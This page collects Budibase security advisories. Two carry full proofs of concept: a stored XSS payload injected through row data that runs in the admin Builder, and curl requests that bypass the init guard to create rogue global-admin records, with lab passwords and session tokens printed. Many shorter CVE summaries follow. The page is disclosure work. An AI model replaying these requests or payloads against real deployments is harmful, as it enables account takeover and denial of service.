See how budibase compares to other vendors in security performance
Description
Summary
A low-privileged application end-user (role BASIC - not a builder or admin, and on a public data-collection form, an unauthenticated visitor) can store an HTML/JavaScript payload in ordinary row data. When a builder or admin later opens that table in the Budibase Builder and evaluates any Handlebars binding whose Preview surfaces the value (the Data-section Formula column editor, or any binding drawer), the stored value is rendered as raw HTML and the attacker's JavaScript executes in the Builder's origin.
The Builder SPA is served by nginx with no Content-Security-Policy (the CSP middleware only decorates the server-rendered published-app document, not /builder/). The injected script therefore runs unrestricted in the highest-trust surface of the product - the admin/builder session that can create datasources, run server-side JavaScript via automations, read and modify every table, and manage users. This is a cross-privilege stored XSS (app end-user → builder/admin), i.e. full workspace takeover, not self-XSS.
Details
Root cause 1 - the escaper is a no-op. packages/frontend-core/src/utils/jsonFormatter.ts (format()):
js jsonString = jsonString .replace(/&/g, "&") // no-op: replaces "&" with "&" (should be "&") .replace(/</g, "<") // no-op (should be "<") .replace(/>/g, ">") // no-op (should be ">")
return jsonString.replace( /("(\\u[a-zA-Z0-9]{4}|\\[^u]|[^\\"])"(\s:)?|\b(true|false|null)\b|-?\d+...)/g, (match) => { if (/^"/.test(match)) { if (/:$/.test(match)) { color = colors.keyColor } // KEY: NOT escaped else { match = '"' + escapeHtml(match.substr(1, match.length - 2)) + '"' } // string VALUE: escaped } return <span style="...">${match}</span> })
Only quoted JSON string values are passed through escapeHtml. Everything else is emitted verbatim, because the leading .replace(/&/g,"&")… chain replaces each character with itself. Two consequences:
1. A raw, non-JSON string (the normal result of a Handlebars binding that resolves to a plain text field value) matches none of the regex tokens and is returned completely un-escaped. 2. Object keys are never escaped.
Root cause 2 - the output is injected with {@html}. packages/builder/src/components/common/bindings/EvaluationSidePanel.svelte:
- line 116: {@html logLine.log} - line 128: {@html highlightedResult}
highlightedResult is the output of JsonFormatter.format(), so the un-escaped attacker string is inserted into the DOM as live markup.
Root cause 3 - binding output is not entity-escaped upstream. Every {{ … }} statement is wrapped by the ALL helper in packages/string-templates/src/helpers/index.ts, which returns a Handlebars.SafeString; Handlebars therefore performs no HTML escaping, and the raw field value reaches the formatter/{@html} sink.
Root cause 4 - no CSP on the Builder. GET /builder/ is served as a static SPA by nginx with no Content-Security-Policy header (verified live below). The contentSecurityPolicy middleware (packages/backend-core/src/middleware/contentSecurityPolicy.ts) only sets a nonce-based CSP on the server-rendered published-app document (serveApp). So in the Builder origin there is no script-src restriction and inline event handlers run freely.
Cross-privilege data channel. Internal-table dev/prod data live in separate databases, but external datasources are queried live and shared between the published app (where low-priv users write) and the Builder's dev preview (where the value is rendered). A BASIC app user writing to an external SQL table that a data-collection app exposes for writes therefore lands the payload directly in the Builder's evaluation context. RowUtils.generateGoldenSample() even prefers the longest string per column, guaranteeing a long payload is the sample the Preview evaluates.
Payload shape note. jsonFormatter.format() tokenises quoted strings, digits and true/false/null into <span>s, which would fragment a handler containing them. A payload free of double-quotes, digits and those literals - e.g. <img src=x onerror=alert(window.xssproof=document.domain)> - survives verbatim and executes.
PoC
Environment used for this reproduction (all values real / unredacted):
| Item | Value | |------|-------| | Target | http://127.0.0.1:3014 (self-host single image, Budibase v3.44.0, commit d1ed6085) | | Dev app id | appdevcc322a9cd27a492eb934f43b146c6e81 | | Prod app id | appcc322a9cd27a492eb934f43b146c6e81 | | External Postgres table | datasourceplus727522c5a46f4ff8940dfaf539bad4c8userstbl | | Attacker (low-priv BASIC) | lowuser@budibase.local / LowUser!2026#bb | | Victim (builder/admin) | admin@budibase.local / LabAdmin!2026#bb |
---
Step 0 - (precondition, performed once by the builder) a data-collection app grants BASIC write on the table
bash grant the low user BASIC role on the app curl -s -b creds/admin.cookies -H "Content-Type: application/json" -X POST \ http://127.0.0.1:3014/api/global/users \ -d '{"id":"usdf036f58299242608f665700b1618057","rev":"1-f24520b49fae0a6f4a23dced7a82fcc8","email":"lowuser@budibase.local","builder":{"global":false},"admin":{"global":false},"roles":{"appcc322a9cd27a492eb934f43b146c6e81":"BASIC"},"tenantId":"default","status":"active"}'
open write permission on the table to BASIC (typical of feedback/survey/contact apps) curl -s -b creds/admin.cookies -H "x-budibase-app-id: appdevcc322a9cd27a492eb934f43b146c6e81" -X POST \ "http://127.0.0.1:3014/api/permission/BASIC/datasourceplus727522c5a46f4ff8940dfaf539bad4c8userstbl/write"
curl -s -b creds/admin.cookies -H "x-budibase-app-id: appdevcc322a9cd27a492eb934f43b146c6e81" -X POST \ "http://127.0.0.1:3014/api/applications/appdevcc322a9cd27a492eb934f43b146c6e81/publish"
---
Step 1 - ATTACKER logs in (low-priv BASIC user)
bash curl -s -i -c creds/low.cookies -H "Content-Type: application/json" -X POST \ http://127.0.0.1:3014/api/global/auth/default/login \ -d '{"username":"lowuser@budibase.local","password":"LowUser!2026#bb"}'
Burp - Request
http POST /api/global/auth/default/login HTTP/1.1 Host: 127.0.0.1:3014 Content-Type: application/json Content-Length: 71
{"username":"lowuser@budibase.local","password":"LowUser!2026#bb"}
Burp - Response
http HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Sep 2026 07:20:45 GMT Content-Type: application/json; charset=utf-8 Content-Length: 30 Connection: keep-alive x-budibase-tenant-id: default Set-Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJ1c19kZjAzNmY1ODI5OTI0MjYwOGY2NjU3MDBiMTYxODA1NyIsInNlc3Npb25JZCI6IjRhYWNkOTRkMGI0NDRiODE5MzdkMTMxNTAyNTEyOWUwIiwidGVuYW50SWQiOiJkZWZhdWx0IiwiZW1haWwiOiJsb3d1c2VyQGJ1ZGliYXNlLmxvY2FsIiwiaWF0IjoxNzg4MzMzNjQ1LCJleHAiOjE3ODg5Mzg0NDV9.q7vQN3ggOfAYtZiMDy-MxdOBpz2dboRRziY-XzmGA; path=/; expires=Wed, 09 Sep 2026 07:20:45 GMT; httponly Set-Cookie: budibase:auth.sig=au9QqX0g6Zd5rQs-AceJY6gLwWY; path=/; expires=Wed, 09 Sep 2026 07:20:45 GMT; httponly x-budibase-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJ1c19kZjAzNmY1ODI5OTI0MjYwOGY2NjU3MDBiMTYxODA1NyIsInNlc3Npb25JZCI6IjRhYWNkOTRkMGI0NDRiODE5MzdkMTMxNTAyNTEyOWUwIiwidGVuYW50SWQiOiJkZWZhdWx0IiwiZW1haWwiOiJsb3d1c2VyQGJ1ZGliYXNlLmxvY2FsIiwiaWF0IjoxNzg4MzMzNjQ1LCJleHAiOjE3ODg5Mzg0NDV9.q7vQN3ggOfAYtZiMDy-MxdOBpz2dboRRziY-XzmGA
{"message":"Login successful"}
The low user's session JWT (decoded payload) confirms builder/admin are absent - this is an ordinary app user:
json {"userId":"usdf036f58299242608f665700b1618057","sessionId":"4aacd94d0b444b81937d13150251 29e0","tenantId":"default","email":"lowuser@budibase.local","iat":1788333645,"exp":1788938445}
---
Step 2 - ATTACKER stores the XSS payload into the shared external table (via the published/prod app id)
bash curl -s -i -b creds/low.cookies \ -H "x-budibase-app-id: appcc322a9cd27a492eb934f43b146c6e81" \ -H "Content-Type: application/json" -X POST \ "http://127.0.0.1:3014/api/datasourceplus727522c5a46f4ff8940dfaf539bad4c8userstbl/rows" \ -d '{"name":"<img src=x onerror=alert(window.xssproof=document.domain)>","email":"rx@x.tld"}'
Burp - Request
http POST /api/datasourceplus727522c5a46f4ff8940dfaf539bad4c8userstbl/rows HTTP/1.1 Host: 127.0.0.1:3014 x-budibase-app-id: appcc322a9cd27a492eb934f43b146c6e81 Content-Type: application/json Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJ1c19kZjAzNmY1ODI5OTI0MjYwOGY2NjU3MDBiMTYxODA1NyIsInNlc3Npb25JZCI6IjRhYWNkOTRkMGI0NDRiODE5MzdkMTMxNTAyNTEyOWUwIiwidGVuYW50SWQiOiJkZWZhdWx0IiwiZW1haWwiOiJsb3d1c2VyQGJ1ZGliYXNlLmxvY2FsIiwiaWF0IjoxNzg4MzMzNjQ1LCJleHAiOjE3ODg5Mzg0NDV9.q7vQN3ggOfAYtZiMDy-MxdOBpz2dboRRziY-XzmGA; budibase:auth.sig=au9QqX0g6Zd5rQs-AceJY6gLwWY Content-Length: 87
{"name":"<img src=x onerror=alert(window.xssproof=document.domain)>","email":"rx@x.tld"}
Burp - Response
http HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Sep 2026 07:20:53 GMT Content-Type: application/json; charset=utf-8 Content-Length: 196 Connection: keep-alive x-budibase-tenant-id: default
{"id":7,"name":"<img src=x onerror=alert(window.xssproof=document.domain)>","email":"rx@x.tld","id":"%5B7%5D","tableId":"datasourceplus727522c5a46f4ff8940dfaf539bad4c8userstbl","rev":"rev"}
The payload is stored verbatim as row id=7 in the shared Postgres table. The server performs no output-encoding or sanitisation of the name value.
---
Step 3 - proof the value crosses the trust boundary (VICTIM builder/admin reads the same row)
bash admin login curl -s -i -c creds/admin.cookies -H "Content-Type: application/json" -X POST \ http://127.0.0.1:3014/api/global/auth/default/login \ -d '{"username":"admin@budibase.local","password":"LabAdmin!2026#bb"}'
admin reads the row set from the DEV plane (what the Builder renders) curl -s -b creds/admin.cookies \ -H "x-budibase-app-id: appdevcc322a9cd27a492eb934f43b146c6e81" \ "http://127.0.0.1:3014/api/datasourceplus727522c5a46f4ff8940dfaf539bad4c8userstbl/rows"
Burp - admin login Response (real admin session JWT)
http HTTP/1.1 200 OK Server: nginx x-budibase-tenant-id: default Set-Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJ1c19hNWVlYzBiMDJiMTA0YWEzYTczZjk3MDkwYmI2OTk5MCIsInNlc3Npb25JZCI6IjhlMGUwYjE5ODk5NDRhNDdiZDcxYmUwZTdlNzI5MWM4IiwidGVuYW50SWQiOiJkZWZhdWx0IiwiZW1haWwiOiJhZG1pbkBidWRpYmFzZS5sb2NhbCIsImlhdCI6MTc4ODMzMzYzOCwiZXhwIjoxNzg4OTM4NDM4fQ.LBqUOeujBaqUEDbwmfPpAgplprwyPcMzEpI7hW1UwQk; path=/; httponly Set-Cookie: budibase:auth.sig=iYVS67Sat7FptqQAprWzDE0Hs2o; path=/; httponly x-budibase-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJ1c19hNWVlYzBiMDJiMTA0YWEzYTczZjk3MDkwYmI2OTk5MCIsInNlc3Npb25JZCI6IjhlMGUwYjE5ODk5NDRhNDdiZDcxYmUwZTdlNzI5MWM4IiwidGVuYW50SWQiOiJkZWZhdWx0IiwiZW1haWwiOiJhZG1pbkBidWRpYmFzZS5sb2NhbCIsImlhdCI6MTc4ODMzMzYzOCwiZXhwIjoxNzg4OTM4NDM4fQ.LBqUOeujBaqUEDbwmfPpAgplprwyPcMzEpI7hW1UwQk
{"message":"Login successful"}
Burp - rows Response (admin reads the low-priv-authored payload - same string, cross-privilege)
http HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8
[{"id":1,"name":"<img src=x onerror=alert(window.xssproof=document.domain)>",...}, {"id":2,"name":"<img src=x onerror=alert(window.xssproof=document.domain)>",...}, {"id":5,"name":"<img src=x onerror=alert(window.xssproof=document.domain)>",...}, {"id":6,"name":"<img src=x onerror=alert(window.xssproof=document.domain)>",...}, {"id":7,"name":"<img src=x onerror=alert(window.xssproof=document.domain)>","email":"rx@x.tld",...}]
---
Step 4 - confirm the Builder origin ships NO Content-Security-Policy
bash curl -s -D - -o /dev/null http://127.0.0.1:3014/builder/
Burp - Response (note the complete absence of any Content-Security-Policy header)
http HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Sep 2026 07:21:09 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Last-Modified: Thu, 27 Aug 2026 14:26:10 GMT Cache-Control: max-age=0 Content-Encoding: gzip
---
Step 5 - VICTIM triggers execution (builder/admin, in the browser)
Logged into the Builder as admin@budibase.local, the victim opens the shared table and evaluates a binding over it - the ordinary workflow for building a Formula column:
1. Open the app → Data tables → datasource LabPG → table userstbl. 2. Click the + to add a column, name it (e.g. xsscol), set Type = Formula. 3. Click the lightning (binding) icon on the Formula field → the binding drawer opens. 4. In the code editor type: {{ name }} 5. Click the play (▶ / evaluate) button.
The right-hand Preview panel renders the stored value through JsonFormatter.format() → {@html}. The injected <img> is inserted as a live DOM element; its onerror fires and the attacker's JavaScript runs in the Builder origin.
Observed result (captured live in the reproduction):
window.xsscalls = ["localhost"] // alert() was called with document.domain window.xssproof = "localhost" // attacker JS mutated the Builder's window object document.domain = "localhost" // execution context = the BUILDER origin location.href = http://localhost:3014/builder/workspace/appdevcc322a9cd27a492eb934f43b146c6e81/data/table/...
Popup - alert(document.domain) firing in the Builder origin, with the injected <img> visible as a broken-image element in the Preview panel:
!F4 stored XSS – alert popup in the Budibase Builder <img width="1536" height="674" alt="F4-xss-alert-popup" src="https://github.com/user-attachments/assets/c9f7932b-0b1c-4165-863f-24e0bf8dceb7" />
Screenshot note: the browser used for automated reproduction is headless, and native alert() dialogs are not captured by page-level screenshots. window.alert was therefore wrapped with a faithful, screenshot-capturable popup that displays exactly the argument the injected script passed to alert(). The execution itself is 100% genuine and unmodified - the payload's onerror handler ran, called alert(), and set window.xssproof on the real Builder window (see the observed values above). The broken-image glyph in the Preview pane is the attacker-controlled <img src=x> inserted by the {@html} sink.
Impact
Type: Cross-privilege Stored / persistent Cross-Site Scripting (XSS) in the application builder.
Who is impacted: any self-hosted (or cloud) Budibase workspace that exposes an external-datasource table for writes to lower-privileged roles - the standard pattern for feedback forms, contact/lead capture, surveys, support tickets, registration, and any "data collection" app. On such apps the writer can be a BASIC app user or, when the write screen is public, an unauthenticated visitor.
What the attacker gains: the payload executes in the Builder/admin session, an origin with no CSP. From there the attacker's JavaScript can silently drive every authenticated Builder API in the victim's context, e.g.:
- create a REST/SQL datasource or an automation step that runs server-side JavaScript / Bash → remote code execution on the server; - read or modify every table in the workspace (full data exfiltration / tampering); - escalate the attacker's own account (or create a new one) to builder/admin; - pivot to the underlying CouchDB/MinIO/Redis via server-side automation.
Description
Summary
On a self-hosted, single-tenant Budibase instance (multiTenancy:false), the public bootstrap endpoint POST /api/global/users/init remains fully exploitable after the instance has been provisioned. Its "already initialised" guard (checkAnyUserExists()) is evaluated inside a tenant-scoped database context derived from an attacker-controlled tenantId in the request body. Because the tenancy layer never constrains that tenantId to the only legitimate tenant (default) on a single-tenant deployment, an unauthenticated attacker simply supplies any unused tenant name to make the guard see an empty user list, and the endpoint then creates a brand-new CouchDB database (<tenantId>global-db) and a global-admin user document (admin.global = true, builder.global = true) inside it - with no authentication and no CSRF token.
This is (a) a bypass of the security control meant to permanently close first-run setup, and (b) an unauthenticated, persistent write primitive that lets an anonymous attacker create an unbounded number of databases and admin-user documents - a resource-exhaustion / denial-of-service vector against the CouchDB datastore, plus creation of latent rogue admin accounts.
Details
Root cause chain (source, tag v3.44.0):
1. packages/worker/src/api/index.ts:41 - POST /api/global/users/init is in PUBLICENDPOINTS, so auth.buildAuthMiddleware(PUBLICENDPOINTS) marks it publicEndpoint and the "no public access to worker" gate (api/index.ts:159-165) lets it through without any session. It is also in NOTENANCYENDPOINTS (api/index.ts:83), so the tenancy middleware does not pin the request to default - the tenant is taken verbatim from the request body - and in NOCSRFENDPOINTS. 2. packages/worker/src/middleware/cloudRestricted.ts:10,25 - the cloudRestricted guard only enforces the internal API key when !env.SELFHOSTED && !env.DISABLEACCOUNTPORTAL. On a self-hosted instance (SELFHOSTED=true) it is a no-op (return next()), so cloudRestrictedRoutes provides no protection here. 3. packages/worker/src/api/routes/global/users.ts:69-79 - cloudRestrictedRoutes.post("/api/global/users/init", … controller.adminUser). 4. packages/worker/src/api/controllers/global/users.ts:232 - the handler runs await tenancy.doInTenant(tenantId, …) using the attacker-supplied tenantId. 5. packages/worker/src/api/controllers/global/users.ts:238 - the only guard, const userExists = await checkAnyUserExists(), throws 403 only if a user exists in the current tenant context. 6. packages/worker/src/utilities/users.ts:3-15 - checkAnyUserExists() calls tenancy.getGlobalDB(), which resolves to <tenantId>global-db. For any unused tenantId this DB is empty → the guard passes → userSdk.db.createAdminUser(email, tenantId, …) (users.ts:247) creates a full global admin.
The defect is incorrect authorization scoping: the single-tenant deployment invariant ("only tenant default exists; init is one-time") is never enforced against the request-supplied tenantId, so the guard is evaluated against a namespace the attacker chooses.
Configuration confirmed via GET /api/system/environment → {"multiTenancy":false,"cloud":false,"disableAccountPortal":false,"isDev":false}.
PoC
Target http://127.0.0.1:3014 (Budibase v3.44.0-cloud.2). No credentials, no cookies, no CSRF token. All values real, captured live on 2026-09-02; nothing redacted.
---
Step 1 - BASELINE: the guard correctly blocks re-init of the real tenant (default)
bash curl -s -i -X POST 'http://127.0.0.1:3014/api/global/users/init' \ -H 'Content-Type: application/json' \ -d '{"email":"pwn-default@evil.test","password":"Pwned!2026#bb","tenantId":"default"}'
Burp - Request
http POST /api/global/users/init HTTP/1.1 Host: 127.0.0.1:3014 Content-Type: application/json Content-Length: 82
{"email":"pwn-default@evil.test","password":"Pwned!2026#bb","tenantId":"default"}
Burp - Response
http HTTP/1.1 403 Forbidden Content-Type: application/json; charset=utf-8
{"message":"You cannot initialise once an global user has been created.","status":403}
---
Step 2 - PAYLOAD: supply any unused tenantId → the guard is bypassed and a global admin is created, fully unauthenticated
bash curl -s -i -X POST 'http://127.0.0.1:3014/api/global/users/init' \ -H 'Content-Type: application/json' \ -d '{"email":"pwn-f7poc@evil.test","password":"Pwned!2026#bb","tenantId":"f7poc"}'
Burp - Request
http POST /api/global/users/init HTTP/1.1 Host: 127.0.0.1:3014 Content-Type: application/json Content-Length: 78
{"email":"pwn-f7poc@evil.test","password":"Pwned!2026#bb","tenantId":"f7poc"}
Burp - Response
http HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8
{"id":"usd0c2b6c9014a43e2899a2770d2e6280c","rev":"1-554ff75f0064fb15f92e341faad7263b","email":"pwn-f7poc@evil.test"}
The single differential - tenantId:"default" → 403, tenantId:"f7poc" → 200 with a persisted us… id - is the whole bug: the one-time-setup guard is scoped to a namespace the attacker chooses.
---
Step 3 - the write persisted: re-init of the same tenant now hits the (per-tenant) guard
bash curl -s -i -X POST 'http://127.0.0.1:3014/api/global/users/init' \ -H 'Content-Type: application/json' \ -d '{"email":"pwn-f7pocb@evil.test","password":"Pwned!2026#bb","tenantId":"f7poc"}'
Burp - Response
http HTTP/1.1 403 Forbidden Content-Type: application/json; charset=utf-8
{"message":"You cannot initialise once an global user has been created.","status":403}
Each unique tenantId is a fresh write primitive - an attacker loops tenantId=a0001,a0002,… to create unbounded databases + admin docs (DoS).
---
Step 4 & 5 - datastore side-effect: a new <tenant>global-db and a real global-admin document
Read directly from CouchDB inside the container ($COUCHDBURL = http://admin:…@127.0.0.1:5984):
GET /alldbs => [ "appcc322a9cd27a492eb934f43b146c6e81", "appdevcc322a9cd27a492eb934f43b146c6e81", "f7pocglobal-db", <-- created by the unauthenticated init call (tenantId=f7poc) "global-db" <-- legitimate default-tenant global DB ]
rogue DB 'f7pocglobal-db' present: True
The document created in f7pocglobal-db is a full global admin:
json { "id": "usd0c2b6c9014a43e2899a2770d2e6280c", "email": "pwn-f7poc@evil.test", "admin": { "global": true }, "builder": { "global": true }, "tenantId": "default", "roles": {} }
---
Step 6 - ceiling check (honest): the injected admin cannot log in while multi-tenancy is off
bash curl -s -i -X POST 'http://127.0.0.1:3014/api/global/auth/f7poc/login' \ -H 'Content-Type: application/json' \ -d '{"username":"pwn-f7poc@evil.test","password":"Pwned!2026#bb"}'
Burp - Response
http HTTP/1.1 403 Forbidden Content-Type: application/json; charset=utf-8
{"message":"Invalid credentials","status":403}
With multiTenancy:false the login flow forces the default tenant, so the injected admin is not usable to log into the running default-tenant instance. The provable impact is therefore control-bypass + unauthenticated persistent datastore writes / DoS + creation of rogue admin accounts that become active if multi-tenancy is later enabled or during tenant-iterating operations (restore/migration).
Impact
Type: Missing/incorrect authorization on a critical function - unauthenticated bypass of the one-time initialization guard, yielding anonymous global-admin-document and database creation.
Who is impacted: every self-hosted single-tenant Budibase instance exposing the worker API (via the front nginx). Any unauthenticated network attacker can: - defeat the first-run setup lock that is supposed to be permanently closed after provisioning; - create global-admin user documents in attacker-named tenants with no credentials (latent rogue admins that activate if multi-tenancy is enabled or during migration/restore); - create an unbounded number of CouchDB databases (<rand>global-db) and documents - a resource-exhaustion / DoS vector against the datastore (disk, inodes, file descriptors, the dbs metadata shard).
Budibase through 3.41.0 contains a server-side request forgery vulnerability in AI table generation because the uploadUrl function in packages/server/src/utilities/fileUtils.ts uses raw node-fetch instead of fetchWithBlacklist. Authenticated builder users can send a prompt to POST /api/ai/tables that places an internal URL in an attachment column, causing the server to fetch it and return a presigned object-storage URL containing the response, such as cloud metadata credentials.
Budibase server before 3.45.0 contains a cross-tenant information disclosure vulnerability in the GET /api/applications/:appId/appPackage endpoint that allows authenticated users to read another tenant's application metadata and source code. Attackers can supply a victim tenant's app id to retrieve sensitive application details including navigation structure, role names, internal screen URLs, JavaScript snippets, and user identifiers without authorization checks.
Budibase Server before 3.45.0 fails to redact plaintext datasource credentials before broadcasting external table updates to the Builder collaboration websocket room. Attackers with Builder access can intercept unredacted datasource objects containing database passwords and API keys by observing table save or delete operations.
Budibase versions before 3.45.0 fail to validate per-app authorization in the POST /api/global/groups/:groupId/apps endpoint, allowing builders to assign application roles across workspace boundaries. A builder of a single workspace can exploit missing per-app authorization checks to grant themselves admin roles in other workspaces by modifying user group role mappings.
Budibase versions 3.41.0 before 3.45.0 contain an authentication bypass in the OIDC/SSO login path of @budibase/server. In sso.authenticate, when no existing user matches the incoming SSO subject, the server looks up pending user invites by the IdP-asserted email address alone — without validating an invite code and without an emailverified check (the emailverified gate protects only the existing-account lookup). An attacker who can register at an IdP that the tenant trusts for OIDC and assert a victim's invited email address (even with emailverified=false) claims the pending invite and inherits all of its granted privileges, including builder and admin.global, with no admin exclusion. This results in takeover of the invited principal and, for admin invites, full tenant compromise (access to all apps, datasources including production credentials, and automations); the invite is consumed, denying onboarding to the legitimate invitee.
Budibase before 3.45.0 fails to properly scope the GET /api/chat-links endpoint by workspace, allowing builders to enumerate chat identity link records across all workspaces in a tenant. Attackers with builder access to a single workspace can retrieve sensitive chat identity linking data including user IDs and external chat service identifiers from other workspaces they have no permission to access.
Budibase before 3.45.0 contains an unauthenticated server-side request forgery and credential exfiltration vulnerability in the Microsoft Teams webhook endpoint that accepts forged Bot Framework activities with arbitrary serviceUrl values. Attackers can submit a crafted POST request to inject an attacker-controlled serviceUrl that is persisted and used for all subsequent bot replies, causing the server to send live Microsoft OAuth access tokens in Authorization headers to the attacker's host and enabling blind internal network access.
Budibase Server before 3.45.0 contains an arbitrary file write vulnerability in the PWA icon upload endpoint that extracts user-supplied ZIP archives without proper symlink validation. Attackers with BUILDER role can craft a malicious ZIP with leaf symlink entries followed by duplicate file entries to write arbitrary files as root, enabling remote code execution.
Budibase versions before 3.45.0 fail to disable external JSON reference resolution in the OpenAPI/Swagger import validator, allowing authenticated builders to read arbitrary local files. Attackers with builder access can embed file:// references in OpenAPI specifications submitted to the import endpoint to exfiltrate sensitive files including environment variables containing JWT secrets, API keys, and database credentials.
Budibase Server before 3.41.3 contains a server-side request forgery vulnerability in the query import endpoint that fails to validate user-supplied URLs before fetching content. Attackers can submit arbitrary URLs to retrieve responses from internal services including cloud metadata endpoints and other restricted network resources.
Budibase before 3.41.3 fails to enforce role-based authorization on license management endpoints, allowing any authenticated user to delete license keys or manipulate offline tokens. Attackers with basic user privileges can access /api/global/license/ endpoints to disable premium features and downgrade deployments for all users.
Budibase versions before 3.41.3 contain a remote code execution vulnerability in plugin handling that allows authenticated admin users to execute arbitrary code by uploading a malicious plugin tarball. The server calls eval() on plugin JavaScript files without sandboxing in the main Node.js process, enabling attackers to exfiltrate environment variables and credentials with root privileges in default deployments.
Budibase versions before 3.41.3 contain a missing authorization vulnerability in the POST /api/resources/duplicate endpoint that allows authenticated builders to inject tables, automations, queries, and screens into any other application without holding any role in the destination workspace. Attackers can inject resources by specifying an arbitrary destination workspace ID in the request body, then trigger injected automations with outgoing webhooks to exfiltrate data from victim applications.
Budibase Server before 3.41.3 contains a server-side request forgery vulnerability in the datasource verify endpoint that allows builder-level users to supply arbitrary URLs without SSRF validation. Attackers can exploit this to leak internal CouchDB credentials by making requests to attacker-controlled servers, gaining full database access in cloud deployments.
Budibase backend-core (@budibase/backend-core, as used by @budibase/server) omits the shared address space range 100.64.0.0/10 from its default SSRF blacklist (DEFAULTBLACKLIST) used by REST datasource query previews. When the default blacklist is active (i.e., a self-hosted deployment has not defined BLACKLISTIPS), an authenticated user with the Builder permission can submit a REST datasource query preview request to POST /api/queries/preview targeting a reachable HTTP(S) service in the 100.64.0.0/10 range, causing the server to send a request to that target and return its response through the preview flow. Per the advisory, no released fix was identified at the time of publication; remediation is to add 100.64.0.0/10 to DEFAULTBLACKLIST.
Budibase before 3.41.3 fails to enforce per-table role restrictions on the POST /api/datasources/query endpoint, allowing low-privilege BASIC users to read, create, update, or delete rows in any table regardless of configured permissions. Attackers with BASIC role can submit crafted query requests with target table identifiers to bypass table-level access controls and manipulate restricted data.
Budibase before 3.41.3 fails to validate app-scoped builder role assignments in the public user create and update endpoints, allowing an authenticated app-scoped builder to grant builder access to unrelated apps. Attackers can submit crafted requests to the user update API with builder.apps fields to escalate privileges and gain unauthorized builder access to other applications in the same tenant.
Summary Budibase 3.39.7 allows a low-privilege authenticated published-app user with the built-in BASIC role to obtain arbitrary S3 pre-signed upload URLs backed by a workspace datasource's stored server-side credentials.
The affected endpoint is:
POST /api/attachments/:datasourceId/url
The caller can control: text bucket key and receives: text signedUrl publicUrl
This lets a low-privilege published-app user mint S3 PUT URLs using server-side datasource credentials for attacker-chosen object destinations.
Steps:
1. Log in as an admin user. 2. Create a new app/workspace. 3. In the development app context, create an S3 datasource with valid credentials. 4. Publish the app. 5. Create a low-privilege user with the built-in BASIC role on the published production app ID. 6. Log in as that BASIC user. 7. Send: POST /api/attachments/<datasourceId>/url
with: json {"bucket":"foo","key":"bar"} and the published app header: text x-budibase-app-id: <publishedappid> Observe a successful response containing: text signedUrl publicUrl
Observed result
The following behavior:
dev BASIC request: 403 User does not have permission app publish: SUCCESS prod BASIC request: 200 OK Example confirmed runtime values from the final successful run: text prodAppId: appe6b4cdc6cd6949969a83ff11eee88c5a datasourceId: datasource0cec491b26a742468257c62382aa3284 publicUrl: https://foo.s3.eu-west-1.amazonaws.com/bar The returned signedUrl contained standard AWS signing markers, including: text X-Amz-Credential=bb X-Amz-Signature X-Amz-Expires=900 Impact
A low-privilege published-app user who knows a valid datasource ID can mint S3 upload URLs backed by server-side datasource credentials and choose arbitrary destination bucket and key values.
Route definition packages/server/src/api/routes/static.ts:45 Authorization logic packages/server/src/middleware/authorized.ts packages/server/src/middleware/resourceId.ts Controller logic packages/server/src/api/controllers/static/index.ts Datasource lookup packages/server/src/sdk/workspace/datasources/datasources.ts
Budibase is an open-source low-code platform. Prior to 3.40.0, packages/backend-core/src/utils/outboundFetch.ts pinned a validated address through a Node agent, but the REST integration used getDispatcher from packages/backend-core/src/utils/fetch.ts, causing undici to ignore that agent and resolve the hostname again. A builder could use DNS rebinding to make packages/server/src/integrations/rest.ts connect to an internal address after a public address passed validation, with full response access and arbitrary REST methods. The fix adds createPinnedLookup support to the undici dispatcher and passes the validated address to custom fetch implementations. This issue is fixed in version 3.40.0.
Budibase is an open-source low-code platform. Prior to 3.39.19, the PostgreSQL datasource connector in packages/server/src/integrations/postgres.ts interpolates the user-controlled schema configuration field into a SET searchpath statement without escaping embedded double quotes, allowing an authenticated administrator who saves or tests the datasource to execute arbitrary SQL through the simple query protocol. This issue is fixed in version 3.39.19.
Budibase versions 3.39.4 before 3.40.0 contain an authorization regression in the S3 attachment upload endpoint that allows BASIC users to obtain S3 PutObject presigned URLs by sending POST requests to the attachments endpoint. The route was changed from a BUILDER permission check to a TABLE/WRITE check, which BASIC users hold by default. Attackers can specify arbitrary S3 buckets in the request body to generate presigned URLs for writing to any bucket accessible by the stored IAM credentials, enabling unauthorized file uploads.
Budibase is an open-source low-code platform. Prior to 3.39.30, the OIDC flow in packages/backend-core/src/middleware/passport/sso/oidc.ts resolved an email without getEmailVerified or an emailverified requirement, and packages/backend-core/src/middleware/passport/sso/sso.ts then used users.getGlobalUserByEmail as a fallback account-linking key. An attacker who can authenticate through a configured identity provider that asserts a victim email as unverified can have a fresh provider identity merged into the victim Budibase account and inherit the victim roles. This issue is fixed in version 3.39.30.
Budibase versions before 3.40.0 contain an authorization/authentication bypass in the PUT /api/global/users/tenant/owner (changeTenantOwnerEmail) endpoint. On self-hosted instances (SELFHOSTED or DISABLEACCOUNTPORTAL set), the cloudRestricted middleware is a no-op and the route is protected only by a general authentication check, so any authenticated user — including a lowest-privilege BASIC app user — can reassign the tenant account-holder (top-privilege admin) email to an attacker-controlled address. The attacker can then use the public password-reset flow to take over the admin account, leading to full administrative access.
Budibase before 3.40.0 fails to redact datasource credentials stored in STRING typed fields, allowing authenticated users to read MongoDB connection strings and Firebase private keys in plaintext. Attackers with table read permissions can retrieve datasource configurations through the read API to obtain live backend database credentials and service account keys.
